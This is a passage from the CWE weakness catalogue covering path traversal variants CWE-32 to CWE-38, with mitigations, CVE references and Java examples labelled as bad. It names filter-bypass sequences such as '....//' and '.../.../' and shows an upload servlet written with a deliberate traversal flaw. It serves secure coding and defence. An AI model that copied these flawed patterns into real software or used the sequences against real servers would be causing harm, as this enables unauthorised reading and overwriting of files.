This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory

separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2001-0467	"\..." in web server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0467*
CVE-2001-0615	"..." or "...." in chat server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0615*
CVE-2001-0963	"..." in cd command in FTP server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0963*
CVE-2001-1193	"..." in cd command in FTP server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1193*
CVE-2001-1131	"..." in cd command in FTP server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1131*
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0480*
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0288*
CVE-2003-0313	Directory listing of web server using "..." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0313*
CVE-2005-1658	Triple dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1658*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Maintenance

This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts: it is equivalent to "..\.." on Windows, or it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of "./" in a string (collapse of data into unsafe value, CWE-182).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'...' (triple dot)
Software Fault Patterns	SFP16		Path Traversal

CWE-33: Path Traversal: '....' (Multiple Dot)

Weakness ID : 33 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42
CanFollow	B	182	Collapse of Data into Unsafe Value	422

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if

the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-0240	read files via "/........../" in URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0240*
CVE-2000-0773	read files via "...." in web server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0773*
CVE-1999-1082	read files via "....." in web server (doubled triple dot?) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1082*
CVE-2004-2121	read files via "....." in web server (doubled triple dot?) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2121*
CVE-2001-0491	multiple attacks using "..", "...", and "...." in different commands *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0491*
CVE-2001-0615	"..." or "...." in chat server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0615*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Maintenance

Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'....' (multiple dot)

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP16		Path Traversal

CWE-34: Path Traversal: '....//'

Weakness ID : 34 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '....//' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then "....//" can collapse into the "../" unsafe value (CWE-182). It could also be useful when ".." is removed, if the operating system treats "//" and "/" as equivalent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42
CanFollow	B	182	Collapse of Data into Unsafe Value	422

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Detection Methods

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-1670	Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "....//" in user supplied parameters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1670*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Relationship

This could occur due to a cleansing error that removes a single "../" from "....//"

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..../' (doubled dot dot slash)
Software Fault Patterns	SFP16		Path Traversal

CWE-35: Path Traversal: '.../.../'

Weakness ID : 35 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../.../' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '.../.../' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then ".../.../" can collapse into the "../" unsafe value (CWE-182). Removing the first "../" yields "..../"; the second removal yields "../". Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42
CanFollow	B	182	Collapse of Data into Unsafe Value	422

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may

be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2005-2169	chain: ".../.../" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169*
CVE-2005-0202	".../..../" bypasses regexp's that remove "./" and "../" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0202*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'.../.../'
Software Fault Patterns	SFP16		Path Traversal

CWE-36: Absolute Path Traversal

Weakness ID : 36 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
ParentOf	V	37	Path Traversal: '/absolute/pathname/here'	73
ParentOf	V	38	Path Traversal: '\absolute\pathname\here'	75
ParentOf	V	39	Path Traversal: 'C:dirname'	77
ParentOf	V	40	Path Traversal: '\\UNC\share\name\' (Windows UNC Share)	79

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.*	
Integrity	Modify Files or Directories *The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.*	
Confidentiality	Read Files or Directories *The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.*	
Availability	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.	

Demonstrative Examples

Example 1:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Example Language: Java *(bad)*

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML *(good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java *(bad)*

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
```

```
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
        ...
}
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

Reference	Description
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1345*
CVE-2001-1269	ZIP file extractor allows full path *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1269*
CVE-2002-1818	Path traversal using absolute pathname *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1818*
CVE-2002-1913	Path traversal using absolute pathname *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1913*
CVE-2005-2147	Path traversal using absolute pathname *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2147*
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0614*
CVE-1999-1263	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1263*
CVE-2003-0753	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0753*
CVE-2002-1525	Remote attackers can read arbitrary files via an absolute pathname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1525*
CVE-2001-0038	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0038*

Reference	Description
CVE-2001-0255	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0255*
CVE-2001-0933	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0933*
CVE-2002-0466	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0466*
CVE-2002-1483	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." . *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483*
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2488*
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername \sharename). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0687*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Absolute Path Traversal
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
597	Absolute Path Traversal

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-37: Path Traversal: '/absolute/pathname/here'

Weakness ID : 37 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A software system that accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	160	Improper Neutralization of Leading Special Elements	381
ChildOf	B	36	Absolute Path Traversal	69

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1345
CVE-2001-1269	ZIP file extractor allows full path *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1269*
CVE-2002-1818	Path traversal using absolute pathname *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1818*
CVE-2002-1913	Path traversal using absolute pathname *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1913*
CVE-2005-2147	Path traversal using absolute pathname *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2147*
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0614*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/absolute/pathname/here
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP16		Path Traversal

CWE-38: Path Traversal: '\absolute\pathname\here'

Weakness ID : 38 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A software system that accepts input in the form of a backslash absolute path ('\absolute\pathname \here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	36	Absolute Path Traversal	69

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
